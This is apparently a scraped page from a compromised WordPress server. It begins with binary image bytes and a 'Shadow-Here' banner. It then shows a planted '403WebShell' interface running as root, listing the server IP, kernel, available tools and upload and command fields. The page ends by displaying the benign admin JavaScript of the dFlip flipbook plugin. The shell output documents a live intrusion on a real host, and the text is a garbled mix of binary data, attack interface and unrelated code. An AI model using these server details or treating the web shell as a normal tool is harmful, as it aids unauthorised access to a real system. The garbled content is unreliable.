RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/bit/wp-content/plugins/3d-flipbook-dflip-lite/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/bit/wp-content/plugins/3d-flipbook-dflip-lite/assets/js/metaboxes.js
/**
 * Created by Deepak on 5/9/2016.
 */

(function ($) {

  $(document).ready(function () {

    var pageItemClass = "dflip-page-item",
      pageEmptyItemClass = "dflip-empty-page",
      pageThumbClass = "dflip-page-thumb",
      activeClass = "dflip-active",
      hashUpdateClass = "dflip-update-hash",
      pageOptionsClass = "dflip-page-options",
      pageList = $("#dflip_page_list"),
      pageListBox = $("#dflip_pages_box"),
      outlineBox = $("#dflip_outline_box"),
      uploadMediaClass = "dflip_upload_media",
      tabsId = "dflip-tabs",
      tabsListId = "dflip-tabs-list";

    $("#content").val($("#dflip_settings").val());
    $(document).on("click", "." + tabsListId + " a", function (event) {
      event.preventDefault();

      var parent = $(this).parent();

      if (parent.hasClass(activeClass)) return;

      var target_id = $(this).attr("href").replace("!", "");
      var target = $(this).closest("." + tabsId).find(target_id);

      var tab = (parent[0].nodeName == "LI") ? parent : $(this);
      var tabActiveClass = activeClass;
      if (tab.hasClass("nav-tab"))
        tabActiveClass += " nav-tab-active";

      tab.siblings().removeClass(tabActiveClass);
      tab.addClass(tabActiveClass);

      target.siblings().removeClass(tabActiveClass);
      target.addClass(tabActiveClass);

      if (parent.hasClass(hashUpdateClass)) {
        var hash = this.hash.split('#').join('#!');
        window.location.hash = hash;
        updatePostHash(hash);
      }
    });

    function updatePostHash(value) {
      var post_link = $('#post').attr('action');
      if (post_link) {
        post_link = post_link.split('#')[0];
        $('#post').attr('action', post_link + value);
      }
    }

    if (window.location.hash && window.location.hash.indexOf('!dflip-tab-') >= 0) {
      $('.' + tabsListId).find('a[href="' + window.location.hash.replace('!', '') + '"]').trigger("click");
      updatePostHash(window.location.hash);
    }

    // Enable page sort
    if (pageList.length > 0 && pageList.sortable) {
      pageList.sortable({
        containment: pageListBox,
        items: "> ." + pageItemClass
      });
      var newPageIndex = pageList.find("." + pageItemClass).length;
      pageList.find("." + pageItemClass).each(function (index) {
        $(this).attr("index", index);
      });
      pageList.append(newPageItem({}, newPageIndex));
    }
    newPageIndex++;

    function uploadMedia(options) {
      var title = options.title || 'Select File',
        text = options.text || 'Send to dFlip',
        urlInput = options.target;

      var multiple = options.multiple == true ? 'add' : false;
      var uploader = wp.media({
        multiple: multiple,
        title: title,
        button: {
          text: text
        },
        library: {
          type: options.type
        }

      })
        .on('select', function () {
          var files = uploader.state().get('selection');

          if (multiple == false) {
            var fileUrl = files.models[0].attributes.url;
            urlInput.val(fileUrl);
            if (options.callback) options.callback(fileUrl);
          }
          else {
            if (options.callback) options.callback(files);
          }


        })
        .open();
    }

    //upload doc
    $(document).on('click', '#dflip_upload_pdf_source', function (e) {
      e.preventDefault();
      uploadMedia({
        target: $(this).parent().find("input"),
        type: 'application/pdf'
      });
    });

    $(document).on('click', '#dflip_upload_pdf_thumb,#dflip_upload_bg_image', function (e) {
      e.preventDefault();
      uploadMedia({
        target: $(this).parent().find("input"),
        type: 'image'
      });
    });

    $(document).on('click', '.dflip-page-list-add', function (e) {
      e.preventDefault();
      var pageItem = pageList.find("." + pageEmptyItemClass);
      uploadMedia({
        target: pageItem.find("input"),
        type: 'image',
        multiple: true,
        callback: function (files) {
          for (var fileCount = 0; fileCount < files.length; fileCount++) {

            pageItem = pageList.find("." + pageEmptyItemClass).removeClass(pageEmptyItemClass).addClass(pageItemClass);
            var fileUrl = files.models[fileCount].attributes.url;
            pageItem.find("input").val(fileUrl);
            pageItem.find("." + pageThumbClass).attr("src", fileUrl);

            pageList.append(newPageItem({}, newPageIndex));
            newPageIndex++;
          }
        }
      });
    });


    function newPageItem(options, index) {

      var src = options.src || '',
        title = options.title || '',
        content = options.content || '',
        hotspot = options.hotspot || '';

      var li = $('<li class="' + pageEmptyItemClass + '" index="' + index + '">');
      var options = $('<div class="' + pageOptionsClass + '">');
      var img = $('<img class="' + pageThumbClass + '">');
      var url = $('<input type="text" name="_dflip[pages][' + index + '][url]" id="dflip-page-' + index + '-url"/>');

      li.append(img).append(options);
      options.append(url);

      createPageOptions(li);
      return li;
    }

    function createPageOptions(pageItem) {
      var
        container = $('<ul class="dflip-page-actions">'),
        image = $('<li class="dflip-page-image-action dashicons dashicons-format-image" title="Change Image">'),
        edit = $('<li class="dflip-page-edit-action dashicons dashicons-edit" title="Edit HotSpots">'),
        remove = $('<li class="dflip-page-remove-action dashicons dashicons-trash" title="Remove Page">');

      container.append(image).append(edit).append(remove).appendTo(pageItem);

    }

    $(document).on("click", ".dflip-page-remove-action", function () {
      var check = confirm("Delete the page!");
      if (check == true) {
        $(this).closest("." + pageItemClass).remove();
      }
    });
    $(document).on("click", ".dflip-page-edit-action", function () {
      var page = $(this).closest("." + pageItemClass);
      showPageModal(page);
    });

    $(document).on("click", ".dflip-outline-remove-action", function () {
      var check = confirm("Delete outline and its children!");
      if (check == true) {
        if ($(this).closest(".outline-node").siblings(".outline-node").length == 0) {
          $(this).closest(".outline-node").closest(".outline-node").removeClass("outline-haschild");
        }
        $(this).closest(".outline-node").remove();
      }
    });

    $(document).on("click", ".dflip-outline-add-action", function (event) {
      var node = $(this).closest(".outline-node");
      var container = node.find(">.outline-nodes");
      var prefix = node.data("prefix") + '[items]' + '[' + container.find(".outline-node").length + ']';

      addNode(container, prefix, {title: "", dest: ""});
      node.addClass("outline-haschild");
      event.stopPropagation();
    });

    $(document).on("click", ".outline-wrapper", function () {
      var current = $(".outline-active");
      var title = current.find(">.outline-wrapper > input[dtype='title']").val();
      var dest = current.find(">.outline-wrapper > input[dtype='dest']").val();
      var label = current.find(">.outline-wrapper > label").html(title + " : (" + dest + ")");
      current.removeClass("outline-active");

      $(this).closest(".outline-node").addClass("outline-active");
    });

    $(document).on("click", ".outline-collapse", function () {
      $(this).closest(".outline-node").toggleClass("outline-collapsed");
    });

    $(document).on("click", ".dflip-page-image-action", function () {
      var pageItem = $(this).closest("." + pageItemClass);
      uploadMedia({
        target: pageItem.find("input"),
        type: 'image',
        callback: function (url) {
          pageItem.find("." + pageThumbClass).attr("src", url);
        }
      });
    });

    $(".dflip-box .dflip-option >:input").on("change", function () {
      parse_condition();
      checkGlobal($(this));
    });

    createPageOptions($("." + pageItemClass));

    function match_condition(condition) {
      var match;
      var regex = /(.+?):(is|not|contains|less_than|less_than_or_equal_to|greater_than|greater_than_or_equal_to)\((.*?)\),?/g;
      var conditions = [];

      while (match = regex.exec(condition)) {
        conditions.push({
          'check': match[1],
          'rule': match[2],
          'value': match[3] || ''
        });
      }

      return conditions;
    }

    function parse_condition() {
      $('.dflip-box[id^="dflip_"][data-condition]').each(function () {

        var passed;
        var conditions = match_condition($(this).data('condition'));
        var operator = ($(this).data('operator') || 'and').toLowerCase();

        if (conditions.length > 0) {
          $.each(conditions, function (index, condition) {

            //var target   = $( '#setting_' + condition.check );
            var targetEl = $("#" + condition.check);// !! target.length && target.find( OT_UI.condition_objects() ).first();

            //if ( ! target.length || ( ! targetEl.length && condition.value.toString() != '' ) ) {
            //    return;
            //}
            if (!targetEl.length) {
              return;
            }

            var v1 = targetEl.length ? targetEl.val().toString() : '';
            var v2 = condition.value.toString();
            var result;

            switch (condition.rule) {
              case 'less_than':
                result = (parseInt(v1) < parseInt(v2));
                break;
              case 'less_than_or_equal_to':
                result = (parseInt(v1) <= parseInt(v2));
                break;
              case 'greater_than':
                result = (parseInt(v1) > parseInt(v2));
                break;
              case 'greater_than_or_equal_to':
                result = (parseInt(v1) >= parseInt(v2));
                break;
              case 'contains':
                result = (v1.indexOf(v2) !== -1 ? true : false);
                break;
              case 'is':
                result = (v1 == v2);
                break;
              case 'not':
                result = (v1 != v2);
                break;
            }

            if ('undefined' == typeof passed) {
              passed = result;
            }

            switch (operator) {
              case 'or':
                passed = (passed || result);
                break;
              case 'and':
              default:
                passed = (passed && result);
                break;
            }

          });

          if (passed) {
            $(this).animate({opacity: 'show', height: 'show'}, 200);
          }
          else {
            $(this).animate({opacity: 'hide', height: 'hide'}, 200);
          }
        }
        delete passed;

      });
    }

    function checkGlobal(_this) {
      var globalValue = _this.data("global");
      var value = _this.val().trim();
      if (value == globalValue || (globalValue == undefined && value == "")) {
        _this.addClass("dflip-global-active").removeClass("dflip-global-inactive");
      }
      else {
        _this.addClass("dflip-global-inactive").removeClass("dflip-global-active");
      }
    }

    parse_condition();

    $('.dflip-box .dflip-option >:input[id^="dflip_"][data-global]').each(function () {
      checkGlobal($(this));
    });

    //create Outline
    if ($("#dflip_outline").length > 0) {
      var data = JSON.parse($("#dflip_outline").val());
      data = revalidateArray(data, 'items');

      if (data.length == void 0 || data.length == 0)
        data = [];

      maxIndex = data.length;
      var addNodeBtn = $('<div class="add-outline-btn button button-primary">Add New Outline</div>').appendTo(outlineBox).on("click", function () {
        addNode(outlineBox, "_dflip[outline]" + '[' + maxIndex + ']', {title: "", dest: ""});
        maxIndex++;
      });
      nodeTree(outlineBox, data, "_dflip[outline]");

      dragEnable(outlineBox, ".outline-wrapper");
    }
  });

  function revalidateArray(array, scan) {
    if (array == void 0) return array;

    var data = array;
    //convert to array
    if (array.length == void 0) {
      data = [];
      for (var prop in array) {
        data.push(array[prop]);
      }
    }
    //convert scan element to array
    for (var i = 0; i < data.length; i++) {
      if (data[i] !== void 0 && data[i][scan] !== void 0)
        data[i][scan] = revalidateArray(data[i][scan], scan)
    }

    return data;
  }

  function addNode(container, prefix, option) {
    var node = $('<div class="outline-node">').data("prefix", prefix),
      wrapper = $('<div class="outline-wrapper">'),
      label = $('<label></label>').html(option.title + " : (" + option.dest + ")"),
      title = $('<input name=' + prefix + '[title]" dtype="title" placeholder="Name of outline"/>').val(option.title),
      dest = $('<input name=' + prefix + '[dest]" dtype="dest" placeholder="pagenumber or url"/>').val(option.dest),
      nodes = $('<div class="outline-nodes">'),
      collapse = $('<div class="outline-collapse dashicons dashicons-arrow-down-alt2">'),

      actions = $('<ul class="dflip-outline-actions">'),
      add = $('<li class="dflip-outline-add-action dashicons dashicons-plus" title="Add Outline">'),
      remove = $('<li class="dflip-outline-remove-action dashicons dashicons-trash" title="Remove Outline">');

    wrapper.append(label).append(title).append(dest).appendTo(node);

    node.append(wrapper).append(nodes).append(collapse).appendTo(container);

    actions.append(add).append(remove).appendTo(wrapper);

    if (option.items !== void 0) {
      node.addClass("outline-haschild");
      nodeTree(nodes, option.items, prefix + "[items]");
    }

    return node;
  }

  function nodeTree(container, options, prefix) {

    //var container = $(this);
    if (options !== void 0 && options.length > 0) {
      for (var i = 0; i < options.length; i++) {
        var option = options[i];

        var node = addNode(container, prefix + '[' + i + ']', option)

      }
    }
    return this;

  }

  var maxIndex = 0;

  function dragEnable(container, selector) {
    //var container = $(this);
    var helper = $('<div class="drag-helper">').appendTo(container).hide();
    var x, y,
      dx, dy,
      initX, initY,
      state,
      node,
      drag_type = '',
      startNode,
      mousedown = false,
      dragging = false;

    function update(e) {
      if (node == void 0) return;
      var _y = e.pageY - node.offset().top;
      document.title = _y.toString();
      var _drag_type = _y < 5
                       ? "before"
                       : _y > 27 ? "after" : "over";

      if (_drag_type !== drag_type) {
        drag_type = _drag_type;
        node.removeClass("has-drag-over has-drag-before has-drag-after").addClass("has-drag-" + drag_type);
      }
      helper.html("Insert " + drag_type + " " + node.find("label").html());
    }

    function checkChilds(node) {
      if (node.find(".outline-node").length > 0) {
        node.addClass("outline-haschild");
      }
      else {
        node.removeClass("outline-haschild");
      }
    }

    function revalidate(node, prefix) {
      var target;
      if (prefix == void 0) {
        //first find the parent.
        target = node.parents(".outline-node").first();
        if (target.length == 0) {
          //node was dropped to top level
          //increase index by 1
          maxIndex++;

          target = node;
          prefix = "_dflip[outline][" + maxIndex + "]";
          target.data("prefix", prefix);
          //update it's node and continue to child
        }
        else {
          prefix = target.data("prefix");
          //continue as normal
        }
      }
      else {
        target = node;
        target.data("prefix", prefix);
      }

      target.find(" >.outline-wrapper >input").each(function () {
        var input = $(this);
        var name = input.attr("name");
        var type = input.attr("dtype");

        input.attr("name", prefix + "[" + type + "]")
      });

      var index = 0;
      target.find(" >.outline-nodes > .outline-node").each(function () {
        revalidate($(this), prefix + "[items][" + index + "]");
        index++;
      });
    }

    function drop() {
      if (startNode !== void 0 && node !== void 0 && drag_type !== '') {
        var _source = startNode.closest(".outline-node");
        var _target = node.closest(".outline-node");
        var oldParent = _source.parents(".outline-node");
        if (_source.has(_target).length > 0 || _source.is(_target)) {
          alert("Can't drop into child");
          return;
        }
        if (drag_type == "before") {
          _source.insertBefore(_target);
        }
        else if (drag_type == "over") {
          node.siblings(".outline-nodes").append(_source);
        }
        else if (drag_type == "after") {
          _source.insertAfter(_target);
        }
        checkChilds(oldParent);
        checkChilds(_source);
        checkChilds(_target);
        revalidate(_source);
      }
    }

    container
      .on("mousedown", function (e) {
        if (e.target.nodeName == "INPUT") return;
        startNode = $(e.target).closest(selector);
        if (e.button !== 0) return;
        if (startNode.length == 0) return;

        initX = e.pageX - $(this).offset().left;
        initY = e.pageY - $(this).offset().top;
        mousedown = true;
      })
      .on("mousemove", function (e) {
        if (!dragging && mousedown == true) {
          dx = e.pageX - $(this).offset().left - initX;
          dy = e.pageY - $(this).offset().top - initY;

          if (Math.abs(dx) > 5 || Math.abs(dy) > 5) {
            dragging = true;
            helper.show();
            container.addClass("has-dragging");
            startNode.addClass("is-drag-source");
          }
        }
        if (dragging) {
          x = e.pageX - $(this).offset().left;
          y = e.pageY - $(this).offset().top;
          helper.css({
            left: x - 20,
            top: y + 15
          });
          update(e);
        }
      });

    $(window)
      .on("mouseup", function (e) {
        container.removeClass("has-dragging");
        if (startNode) startNode.removeClass("is-drag-source");

        if (node && dragging == true) {
          node.removeClass("has-drag-over has-drag-before has-drag-after");
          drop();
        }
        dragging = false;
        mousedown = false;
        helper.hide();

        node = null;
        startNode = null;

      });

    container
      .on("mouseover", selector, function (e) {
        if (mousedown == true) {
          if (node)
            node.removeClass("has-drag-over has-drag-before has-drag-after");
          node = $(this);
        }
        if (dragging == true && node) {
          update(e);
          node.addClass("has-drag-over");
        }
      })
  }

  var pageModal;
  var activePage;
  var activeSpot;

